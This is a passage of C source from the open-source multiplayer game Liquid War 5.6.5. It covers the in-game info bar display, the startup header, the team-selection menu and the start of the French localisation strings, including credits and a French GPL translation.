epaisseur, w - 1, MENU_FG); front = lw_maptex_create_fg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); back = lw_maptex_create_bg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); for (y = epaisseur + 1; y < h; y += front->h) for (x = 0; x < w; x += front->w) draw_sprite (INFO_BAR, front, x, y); INFO_BAR_POS_W = (w - 1) / PLAYING_TEAMS - 1; INFO_BAR_POS_H = h - epaisseur - 5; for (i = 0; i < PLAYING_TEAMS; ++i) { INFO_BAR_POS_X[i] = (w + 1 - PLAYING_TEAMS * (INFO_BAR_POS_W + 1)) / 2 + i * (INFO_BAR_POS_W + 1); INFO_BAR_POS_Y[i] = epaisseur + 3; for (y = INFO_BAR_POS_Y[i]; y < INFO_BAR_POS_Y[i] + INFO_BAR_POS_H; y++) for (x = INFO_BAR_POS_X[i]; x < INFO_BAR_POS_X[i] + INFO_BAR_POS_W; x++) putpixel (INFO_BAR, x, y, getpixel (back, x % back->w, (y - epaisseur - 1) % back->h)); } destroy_bitmap (back); destroy_bitmap (front); } draw_sprite (INFO_BAR_BACK, INFO_BAR, 0, 0); } return (INFO_BAR && INFO_BAR_BACK); } /*------------------------------------------------------------------*/ void free_info_bar (void) { if (INFO_BAR) { destroy_bitmap (INFO_BAR); INFO_BAR = NULL; } if (INFO_BAR_BACK) { destroy_bitmap (INFO_BAR_BACK); INFO_BAR_BACK = NULL; } } /*------------------------------------------------------------------*/ static void display_time (int x, int y, int w, int h) { char buffer[6]; int min, sec, time; /* * w and h args are ignored for now */ LW_MACRO_NOP (w); LW_MACRO_NOP (h); time = TIME_LEFT; if (time < 0) time = 0; min = time / 60; sec = time % 60; buffer[0] = '0' + min / 10; buffer[1] = '0' + min % 10; buffer[2] = ':'; buffer[3] = '0' + sec / 10; buffer[4] = '0' + sec % 10; buffer[5] = 0; textout_ex (INFO_BAR, font, buffer, x + 1, y + 1, -1, -1); } /*------------------------------------------------------------------*/ static void display_horizontal_info (int w, int h, int epaisseur) { int i, barre_w, barre_x, barre_y; /* * w arg is ignored for now */ LW_MACRO_NOP (w); display_time (0, 0, epaisseur, h); for (i = 0; i < PLAYING_TEAMS; ++i) { barre_w = (ACTIVE_FIGHTERS[i] * (INFO_BAR_POS_W - 1)) / CURRENT_ARMY_SIZE + 1; barre_x = INFO_BAR_POS_X[i] + INFO_BAR_POS_W - barre_w; barre_y = INFO_BAR_POS_Y[i]; rectfill (INFO_BAR, barre_x, barre_y, barre_x + barre_w - 1, barre_y + INFO_BAR_POS_H - 1, COLOR_FIRST_ENTRY[i] + COLORS_PER_TEAM - 1); } } /*------------------------------------------------------------------*/ static void display_vertical_info (int w, int h, int epaisseur) { int i, barre_h, barre_x, barre_y; /* * h arg is ignored for now */ LW_MACRO_NOP (h); display_time (0, 0, w, epaisseur); for (i = 0; i < PLAYING_TEAMS; ++i) { barre_h = (ACTIVE_FIGHTERS[i] * (INFO_BAR_POS_H - 1)) / CURRENT_ARMY_SIZE + 1; barre_y = INFO_BAR_POS_Y[i] + INFO_BAR_POS_H - barre_h; barre_x = INFO_BAR_POS_X[i]; rectfill (INFO_BAR, barre_x, barre_y, barre_x + INFO_BAR_POS_W - 1, barre_y + barre_h - 1, COLOR_FIRST_ENTRY[i] + COLORS_PER_TEAM - 1); } } /*------------------------------------------------------------------*/ void display_info (void) { int x, y, w, h, epaisseur, temp_h, temp_w; if (!(CONFIG_INFO_BAR & 4)) { temp_w = text_length (font, "00:00") + 2; temp_h = text_height (font) + 2; switch (CONFIG_INFO_BAR) { case 0: case 2: w = SCREEN_W; h = temp_h; if (h < 13) h = 13; epaisseur = temp_w; break; case 1: default: w = temp_w; if (w < 13) w = 13; h = SCREEN_H; epaisseur = temp_h; break; } if (!INFO_BAR) init_info_bar (w, h, epaisseur); draw_sprite (INFO_BAR, INFO_BAR_BACK, 0, 0); switch (CONFIG_INFO_BAR) { case 0: x = 0; y = PAGE_FLIP_H; hline (screen, x, y + h, x + w - 1, MENU_FG); display_horizontal_info (w, h, epaisseur); break; case 1: x = SCREEN_W - w; y = PAGE_FLIP_H; vline (screen, x - 1, y, y + h - 1, MENU_FG); display_vertical_info (w, h, epaisseur); break; case 2: x = 0; y = PAGE_FLIP_H + SCREEN_H - h; hline (screen, x, y - 1, x + w - 1, MENU_FG); display_horizontal_info (w, h, epaisseur); break; default: x = 0; y = PAGE_FLIP_H; vline (screen, x + w, y, y + h - 1, MENU_FG); display_vertical_info (w, h, epaisseur); break; } draw_sprite (screen, INFO_BAR, x, y); } } /*------------------------------------------------------------------*/ void lw_info_get_room_for_viewport (int *x, int *y, int *w, int *h) { int temp_h, temp_w; if (!(CONFIG_INFO_BAR & 4)) { temp_w = text_length (font, "00:00") + 2; temp_h = text_height (font) + 2; if (temp_h < 13) { temp_h = 13; } if (temp_w < 13) { temp_w = 13; } switch (CONFIG_INFO_BAR) { case 0: *x = 0; *y = temp_h + 1; *w = SCREEN_W; *h = SCREEN_H - temp_h - 1; break; case 1: *x = 0; *y = 0; *w = SCREEN_W - temp_w - 1; *h = SCREEN_H; break; case 2: *x = 0; *y = 0; *w = SCREEN_W; *h = SCREEN_H - temp_h - 1; break; default: *x = temp_w + 1; *y = 0; *w = SCREEN_W - temp_w - 1; *h = SCREEN_H; break; } } else { *x = 0; *y = 0; *w = SCREEN_W; *h = SCREEN_H; } } /*------------------------------------------------------------------*/ void check_info_state (void) { static int changed; if (WATCHDOG_SCANCODE[KEY_F1]) { if (CONFIG_INFO_BAR >= 4) CONFIG_INFO_BAR -= 4; else CONFIG_INFO_BAR += 4; free_info_bar (); changed = CONFIG_PAGE_FLIP ? 2 : 1; lw_viewport_register_change (changed); } if (WATCHDOG_SCANCODE[KEY_F2] && CONFIG_INFO_BAR < 4) { CONFIG_INFO_BAR++; if (CONFIG_INFO_BAR == 4) CONFIG_INFO_BAR = 0; if (CONFIG_INFO_BAR == 8) CONFIG_INFO_BAR = 4; free_info_bar (); changed = CONFIG_PAGE_FLIP ? 2 : 1; lw_viewport_register_change (changed); } if (changed > 0) { display_back_image (); changed--; } } liquidwar-5.6.5/src/startup.h0000664000372000037200000001241613407756104015607 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : startup.h */ /* contenu : parametres de demarrage */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_STARTUP #define LIQUID_WAR_INCLUDE_STARTUP /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_STARTUP_MEM_MAX 128 #define LW_STARTUP_MEM_STEP 8 #define LW_STARTUP_MAX_PATH_LENGTH 1000 /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int STARTUP_BIG_DATA; extern int STARTUP_DIGI_CARD; extern int STARTUP_MIDI_CARD; extern int STARTUP_JOYSTICK_ON; extern int STARTUP_BACK_STATE; extern int STARTUP_TEXTURE_STATE; extern int STARTUP_WATER_STATE; extern int STARTUP_SFX_STATE; extern int STARTUP_MUSIC_STATE; extern int STARTUP_CUSTOM_STATE; extern int STARTUP_ASM; extern int STARTUP_SVGA; extern int STARTUP_STOP; extern int STARTUP_AUTO; extern int STARTUP_CHECK; extern int STARTUP_CAPTURE; extern int STARTUP_TOMBOLA; extern char STARTUP_CFG_PATH[]; extern char STARTUP_DAT_PATH[]; extern char STARTUP_LOG_PATH[]; extern char STARTUP_MAP_PATH[]; extern char STARTUP_TEX_PATH[]; extern char STARTUP_MID_PATH[]; extern char STARTUP_SRV_PATH[]; extern char STARTUP_GEN_PATH[]; extern char STARTUP_METASERVER[]; /*==================================================================*/ /* variables globales */ /*==================================================================*/ void set_startup (void); #endif liquidwar-5.6.5/src/team.c0000664000372000037200000003051013407756104015021 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : team.c */ /* content : menu used to choose teams */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "joystick.h" #include "keyboard.h" #include "menu.h" #include "mouse.h" #include "sound.h" #include "team.h" #include "log.h" #include "lang.h" #include "netmess.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ static char *MENU_KEY_NAMES[] = { "None", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "Pad0", "Pad1", "Pad2", "Pad3", "Pad4", "Pad5", "Pad6", "Pad7", "Pad8", "Pad9", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12", "ESC", "~", "-", "=", "Back", "Tab", "{", "}", "Enter", ":", "'", "\\", "\\", ",", ".", "/", "Space", "Ins", "Del", "Home", "End", "Pgup", "Pgdn", "<", ">", "/\\", "\\/", "Pad/", "*", "Pad-", "Pad+", "Pad.", "PadE", "PScr", "Pause", "LShf", "RShf", "LCnt", "RCnt", "Alt", "Altgr", "LWin", "RWin", "Menu", "SLock", "NLock", "CLock", "None", "None", "None", "None", "J1/\\", "J1>", "J1\\/", "J1<", "J1B1", "J1B2", "J1B3", "J1B4", "J2/\\", "J2>", "J2\\/", "J2<", "J2B1", "J2B2", "M/\\", "M>", "M\\/", "M<" }; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void cleanup_player_names () { int i; for (i = 0; i < NB_TEAMS; ++i) { lw_netmess_cleanup_arg (CONFIG_PLAYER_NAME[i]); } } /*------------------------------------------------------------------*/ static int suppress_conflicting_color (int color, int replacement_color) { int i, n = -1; for (i = 0; i < NB_TEAMS; ++i) { if (CONFIG_TEAM_COLOR[i] == color) { CONFIG_TEAM_COLOR[n = i] = replacement_color; } } return n; } /*------------------------------------------------------------------*/ static char * get_key_name (int num) { if (MENU_KEY_NAMES[num] != NULL) return MENU_KEY_NAMES[num]; else return "None"; } /*------------------------------------------------------------------*/ static void change_key (DIALOG * d, int *val) { lw_mouse_reset_control (); wait_no_key (); (*val) = wait_key_pressed (); play_click (); clear_keybuf (); d->dp = get_key_name (*val); } /*------------------------------------------------------------------*/ static void update_team_box (DIALOG * d, int number) { switch (CONFIG_CONTROL_TYPE[number]) { case CONFIG_CONTROL_TYPE_OFF: d[15].dp = lw_lang_string (LW_LANG_STRING_TEAM_OFF); break; case CONFIG_CONTROL_TYPE_HUMAN: d[15].dp = lw_lang_string (LW_LANG_STRING_TEAM_HUMAN); break; case CONFIG_CONTROL_TYPE_CPU: d[15].dp = lw_lang_string (LW_LANG_STRING_TEAM_CPU); break; default: d[15].dp = "???"; } if (CONFIG_CONTROL_TYPE[number] == CONFIG_CONTROL_TYPE_OFF) { d[0].bg = MENU_BG; } else { d[0].bg = 128 + (CONFIG_TEAM_COLOR[number]) * 10; } } /*------------------------------------------------------------------*/ static void redraw_team_box (DIALOG * d, int number) { int i; update_team_box (d, number); scare_mouse (); for (i = 0; i < 20; ++i) { (d + i)->proc (MSG_DRAW, d + i, 0); } unscare_mouse (); } /*------------------------------------------------------------------*/ static void team_param (DIALOG * d, int x, int y, int number) { int w1, w2, w3, h, i; d[0].x = x; d[0].y = y; w1 = (menu_real_x (MENU_W_TEAM - 2 * MENU_W_SPACE) + 2) / 12; w2 = (menu_real_x (MENU_W_TEAM - 2 * MENU_W_SPACE) + 2) / 2; w3 = menu_real_x (MENU_W_TEAM - 2 * MENU_W_SPACE) + 2; h = (menu_real_y (MENU_H_TEAM - 2 * MENU_H_SPACE) + 2) / 6; x += 2 + menu_real_x (MENU_W_SPACE); y += 2 + menu_real_y (MENU_H_SPACE); for (i = 0; i < 20; ++i) { d[i].proc = my_button_proc; d[i].key = 0; d[i].dp = ""; d[i].flags = D_EXIT; d[i].h = h - 2; color_one_dialog (d + i); } d[0].proc = d_box_proc; d[0].w = menu_real_x (MENU_W_TEAM); d[0].h = menu_real_y (MENU_H_TEAM); d[1].proc = d_box_proc; d[1].x = d[2].x = x; d[1].y = d[2].y = y; d[1].w = d[2].w = w3 - 2; for (i = 2; i < 14; ++i) { d[i].x = x + (i - 2) * w1; d[i].y = y + 2 * h; d[i].w = w1 - 2; d[i].bg = 128 + (i - 2) * 10; } for (i = 16; i < 20; ++i) d[i].w = w2 - 2; d[14].x = d[1].x + 1; d[14].y = d[1].y + 1; d[14].w = d[1].w - 2; d[15].x = x + w2 / 4; d[15].y = y + h; d[15].w = (3 * w2) / 2 - 2; d[14].proc = my_edit_proc; d[14].dp = CONFIG_PLAYER_NAME[number]; d[14].d1 = NAME_SIZE; d[14].flags = 0; d[16].x = d[19].x = x + w2 / 2; d[17].x = x; d[18].x = x + w2; d[16].y = y + 3 * h; d[17].y = d[18].y = y + 4 * h; d[19].y = y + 5 * h; d[16].dp = get_key_name (CONFIG_KEY_UP[number]); d[17].dp = get_key_name (CONFIG_KEY_LEFT[number]); d[18].dp = get_key_name (CONFIG_KEY_RIGHT[number]); d[19].dp = get_key_name (CONFIG_KEY_DOWN[number]); update_team_box (d, number); } /*------------------------------------------------------------------*/ int choose_teams (void) { int retour = 0; DIALOG d[125]; int i, choix = 0; int x1, x2, x3, y1, y2; int button_team, button_type; memset (d, 0, sizeof (d)); quick_buttons (d); x1 = (MENU_VIRTUAL_W - (3 * MENU_W_TEAM + 2 * MENU_W_SPACE)) / 2; x2 = x1 + MENU_W_TEAM + MENU_W_SPACE; x3 = x2 + MENU_W_TEAM + MENU_W_SPACE; y1 = (MENU_VIRTUAL_H - (2 * MENU_H_TEAM + MENU_H_SPACE)) / 2; y2 = y1 + MENU_H_TEAM + MENU_H_SPACE; x1 = menu_real_x (x1); x2 = menu_real_x (x2); x3 = menu_real_x (x3); y1 = menu_real_y (y1); y2 = menu_real_y (y2); team_param (d + 4, x1, y1, 0); team_param (d + 24, x2, y1, 1); team_param (d + 44, x3, y1, 2); team_param (d + 64, x1, y2, 3); team_param (d + 84, x2, y2, 4); team_param (d + 104, x3, y2, 5); d[124].proc = NULL; set_palette_for_choose_color (); my_set_palette (); display_back_image (); while (retour == 0) { choix = my_do_dialog_no_clear (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; default: button_team = (choix - 4) / 20; button_type = (choix - 4) % 20; switch (button_type) { case 15: switch (CONFIG_CONTROL_TYPE[button_team]) { case CONFIG_CONTROL_TYPE_OFF: CONFIG_CONTROL_TYPE[button_team] = CONFIG_CONTROL_TYPE_HUMAN; break; case CONFIG_CONTROL_TYPE_HUMAN: CONFIG_CONTROL_TYPE[button_team] = CONFIG_CONTROL_TYPE_CPU; break; default: CONFIG_CONTROL_TYPE[button_team] = CONFIG_CONTROL_TYPE_OFF; } redraw_team_box (d + 4 + 20 * button_team, button_team); break; case 16: change_key (d + choix, &CONFIG_KEY_UP[button_team]); break; case 17: change_key (d + choix, &CONFIG_KEY_LEFT[button_team]); break; case 18: change_key (d + choix, &CONFIG_KEY_RIGHT[button_team]); break; case 19: change_key (d + choix, &CONFIG_KEY_DOWN[button_team]); break; default: if (button_type >= 2 && button_type < 14) { i = suppress_conflicting_color (button_type - 2, CONFIG_TEAM_COLOR[button_team]); if (i >= 0) redraw_team_box (d + 4 + 20 * i, i); CONFIG_TEAM_COLOR[button_team] = button_type - 2; redraw_team_box (d + 4 + 20 * button_team, button_team); } } } } cleanup_player_names (); if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/langfr.c0000664000372000037200000012157213407756104015355 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langfr.c */ /* content : handles French dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "lang.h" #include "langfr.h" #include "base.h" /*==================================================================*/ /* globals */ /*==================================================================*/ static char *LW_LANGFR_DATA[LW_LANG_NB_STRINGS]; /*------------------------------------------------------------------*/ /* initializes the string table */ /*------------------------------------------------------------------*/ void lw_langfr_init () { memset (LW_LANGFR_DATA, 0, sizeof (LW_LANGFR_DATA)); LW_LANGFR_DATA[LW_LANG_STRING_LANGUAGE] = "Francais"; LW_LANGFR_DATA[LW_LANG_STRING_APPNAME] = "Liquid War " LW_VERSION; LW_LANGFR_DATA[LW_LANG_STRING_HELP_CREDITS] = "Idee: \n* Thomas Colcombet\n\nProgrammation: \n* Christian Mauduit\n\nMusique: \n* Tim Chadburn\n\nAutres contributeurs:\n* Alstar\n* Peter Wang\n* Cort Danger Stratton\n* Jan Gretschuskin (www.game-factor.de)\n* Mouse\n* Rene Stach\n* Roderick Schertler\n* Ryan D. Brown\n* Eduard Bloch\n* Michael Terry\n* Kasper Hviid\n* David Redick\n* Alexandre Pineau\n* Michael Wagner\n* Peter Williams\n* Jan Samohyl\n* Gavin\n* Dave Vasilevsky\n* 2 of Omega\n* 666-REFIZUL-666\n* Thomas Klausner\n* Joan Dolc\n* Mikhail Yakshin\n* Valerie Mauduit\n* Florence Mauduit\n* Joey Dodson\n* Jan Szenborn\n\nPlus d'informations sur www.ufoot.org/liquidwar/v5\n"; LW_LANGFR_DATA[LW_LANG_STRING_HELP_COPYRIGHT] = "Liquid War est un \"wargame\" multijoueur.\nCopyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org)\n\nCe programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier conformement aux dispositions de la Licence Publique Generale GNU, telle que publiee par la Free Software Foundation ; version 2 de la licence, ou encore (a votre choix) toute version ulterieure.\n\nCe programme est distribue dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans meme la garantie implicite de COMMERCIALISATION ou D'ADAPTATION A UN OBJET PARTICULIER. Pour plus de detail, voir la Licence Publique Generale GNU .\n\nVous devez avoir recu un exemplaire de la Licence Publique Generale GNU en meme temps que ce programme ; si ce n'est pas le cas, ecrivez a la Free Software Foundation Inc., 675 Mass Ave, Cambridge, MA 02139, Etats-Unis.\n\nPlus d'informations sur www.ufoot.org/liquidwar/v5\n"; /* * Stupid Microsoft VC++ can't handle strings over 2048 chars correctly, * (compiler error C2026) so we had to split this one... */ LW_LANGFR_DATA[LW_LANG_STRING_HELP_LICENSE] = "Traduction de la GPL\n\nNotice d'accompagnement de la traduction non officielle a conserver dans toute reproduction de cette traduction\n\nThis is an unofficial translation of the GNU General Public License into french. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the original English text of the GNU GPL does that. However, we hope that this translation will help french speakers understand the GNU GPL better.\n\nCeci est une traduction non officielle de la GNU General Public License en francais. Elle n'a pas ete publiee par la Free Software Foundation, et ne determine pas les termes de distribution pour les logiciels qui utilisent la GNU GPL--seul le texte anglais original de la GNU GPL en a le droit. Cependant, nous esperons que cette traduction aidera les francophones a mieux comprendre la GPL.\n\nCette traduction est sous Copyright 2001 APRIL (http://www.april.org). " "\nLa version la plus a jour de ce document est disponible sur http://www.april.org/gnu/gpl_french.html\n\nIl est permis a tout le monde de reproduire et distribuer des copies conformes de cette traduction, mais aucune modification ne doit y etre apportee, et la presente notice doit etre preservee.\n\nNous autorisons la FSF a apporter toute modification qu'elle jugera necessaire pour rendre la traduction plus claire.\n\nGNU GENERAL PUBLIC LICENSE (TRADUCTION NON OFFICIELLE)\n\nVersion 2, juin 1991\n\nCopyright (C) 1989, 1991, Free Software Foundation Inc. 675 Mass Ave, Cambridge, MA02139, Etats-Unis.\n\nIl est permis a tout le monde de reproduire et distribuer des copies conformes de ce document de licence, mais aucune modification ne doit y etre apportee.\n\nPreambule\n\nLes licences relatives a la plupart des logiciels sont destinees a supprimer votre liberte de les partager et de les modifier. Par contraste, la licence publique generale GNU General Public License veut garantir votre " "liberte de partager et de modifier les logiciels libres, pour qu'ils soient vraiment libres pour tous leurs utilisateurs. La presente licence publique generale s'applique a la plupart des logiciels de la Free Software Foundation, ainsi qu'a tout autre programme dont les auteurs s'engagent a l'utiliser. (Certains autres logiciels sont couverts par la Licence Publique Generale pour Bibliotheques GNU a la place). Vous pouvez aussi l'appliquer a vos programmes.\n\nQuand nous parlons de logiciels libres, nous parlons de liberte, non de gratuite. Nos licences publiques generales veulent vous garantir :\n\n* que vous avez toute liberte de distribuer des copies des logiciels libres (et de facturer ce service, si vous le souhaitez) ;\n\n* que vous recevez les codes sources ou pouvez les obtenir si vous le souhaitez ;\n\n* que vous pouvez modifier les logiciels ou en utiliser des elements dans de nouveaux programmes libres ;\n\n* et que vous savez que vous pouvez le faire.\n\nPour proteger vos droits, " "nous devons apporter des restrictions, qui vont interdire a quiconque de vous denier ces droits, ou de vous demander de vous en desister. Ces restrictions se traduisent par certaines responsabilites pour ce qui vous concerne, si vous distribuez des copies de logiciels, ou si vous les modifiez.\n\nPar exemple, si vous distribuez des copies d'un tel programme, gratuitement ou contre une remuneration, vous devez transferer aux destinataires tous les droits dont vous disposez. Vous devez vous garantir qu'eux-memes, par ailleurs, recoivent ou peuvent recevoir le code source. Et vous devez leur montrer les presentes dispositions, de facon qu'ils connaissent leurs droits.\n\nNous protegeons vos droits en deux etapes :\n\n1. Nous assurons le droit d'auteur (copyright) du logiciel, et\n\n2. Nous vous proposons cette licence, qui vous donne l'autorisation legale de dupliquer, distribuer et/ou modifier le logiciel.\n\nDe meme, pour la protection de chacun des auteurs, et pour notre propre protection, " "nous souhaitons nous assurer que tout le monde comprenne qu'il n'y a aucune garantie portant sur ce logiciel libre. Si le logiciel est modifie par quelqu'un d'autre puis transmis a des tiers, nous souhaitons que les destinataires sachent que ce qu'ils possedent n'est pas l'original, de facon que tous problemes introduits par d'autres ne se traduisent pas par une repercussion negative sur la reputation de l'auteur original.\n\nEnfin, tout programme libre est en permanence menace par des brevets de logiciels. Nous souhaitons eviter le danger que des sous-distributeurs d'un programme libre obtiennent a titre individuel des licences de brevets, avec comme consequence qu'ils ont un droit de propriete sur le programme. Pour eviter cette situation, nous avons fait tout ce qui est necessaire pour que tous brevets doivent faire l'objet d'une concession de licence qui en permette l'utilisation libre par quiconque, ou bien qu'il ne soit pas concede du tout.\n\nNous presentons ci-dessous les clauses " "et dispositions concernant la duplication, la distribution et la modification.\n\nCONDITIONS D'EXPLOITATION PORTANT SUR LA DUPLICATION, LA DISTRIBUTION ET LA MODIFICATION\n\n1. Le present contrat de licence s'applique a tout programme ou autre ouvrage contenant un avis, appose par le detenteur du droit de propriete, disant qu'il peut etre distribue au titre des dispositions de la presente Licence Publique Generale. Ci-apres, le \"Programme\" designe l'un quelconque de ces programmes ou ouvrages, et un \"ouvrage fonde sur le programme\" designe soit le programme, soit un ouvrage qui en derive au titre de la loi sur le droit d'auteur ; plus precisement, il s'agira d'un ouvrage contenant le programme ou une version de ce dernier, soit mot a mot, soit avec des modifications et/ou traduit en une autre langue (ci-apres, le terme \"modification\" englobe, sans aucune limitation, les traductions qui en sont faites). Chaque titulaire de licence sera appele \"concessionnaire\".\nLes activites autres " "que la duplication, la distribution et la modification ne sont pas couvertes par la presente licence ; elles n'entrent pas dans le cadre de cette derniere. L'execution du programme n'est soumise a aucune restriction, et les resultats du programme ne sont couverts que si son contenu constitue un ouvrage fonde sur le programme (independamment du fait qu'il a ete realise par execution du programme). La veracite de ce qui precede depend de ce que fait le programme.\n\n2. Le concessionnaire peut dupliquer et distribuer des copies mot a mot du code source du programme tel qu'il les recoit, et ce sur un support quelconque, du moment qu'il appose, d'une maniere parfaitement visible et appropriee, sur chaque exemplaire, un avis approprie de droits d'auteur (Copyright) et de renonciation a garantie ; qu'il maintient intacts tous les avis qui se rapportent a la presente licence et a l'absence de toute garantie ; et qu'il transmet a tout destinataire du programme un exemplaire de la presente licence " "en meme temps que le programme.\nLe concessionnaire peut facturer l'acte physique de transfert d'un exemplaire, et il peut, a sa discretion, proposer en echange d'une remuneration une protection en garantie.\n\n3. Le concessionnaire peut modifier son ou ses exemplaires du programme ou de toute portion de ce dernier, en formant ainsi un ouvrage fonde sur le programme, et dupliquer et distribuer ces modifications ou cet ouvrage selon les dispositions de la section 1 ci-dessus, du moment que le concessionnaire satisfait aussi a toutes ces conditions :\na. Le concessionnaire doit faire en sorte que les fichiers modifies portent un avis, parfaitement visible, disant que le concessionnaire a modifie les fichiers, avec la date de tout changement.\nb. Le concessionnaire doit faire en sorte que tout ouvrage qu'il distribue ou publie, et qui, en totalite ou en partie, contient le programme ou une partie quelconque de ce dernier ou en derive, soit concede en bloc, a titre gracieux, a tous tiers au " "titre des dispositions de la presente licence.\nc. Si le programme modifie lit normalement des instructions interactives lors de son execution, le concessionnaire doit, quand il commence l'execution du programme pour une telle utilisation interactive de la maniere la plus usuelle, faire en sorte que ce programme imprime ou affiche une annonce, comprenant un avis approprie de droits d'auteur, et un avis selon lequel il n'y a aucune garantie (ou autrement, que le concessionnaire fournit une garantie), et que les utilisateurs peuvent redistribuer le programme au titre de ces dispositions, et disant a l'utilisateur comment visualiser une copie de cette licence (exception : si le programme par lui-meme est interactif mais n'imprime normalement pas une telle annonce, l'ouvrage du concessionnaire se fondant sur le programme n'a pas besoin d'imprimer une annonce).\nLes exigences ci-dessus s'appliquent a l'ouvrage modifie pris en bloc. Si des sections identifiables de cet ouvrage ne derivent pas " "du programme et peuvent etre considerees raisonnablement comme representant des ouvrages independants et distincts par eux-memes, alors la presente licence, et ses dispositions, ne s'appliquent pas a ces sections quand le concessionnaire les distribue sous forme d'ouvrages distincts. Mais quand le concessionnaire distribue ces memes sections en tant qu'element d'un tout qui represente un ouvrage se fondant sur le programme, la distribution de ce tout doit se faire conformement aux dispositions de la 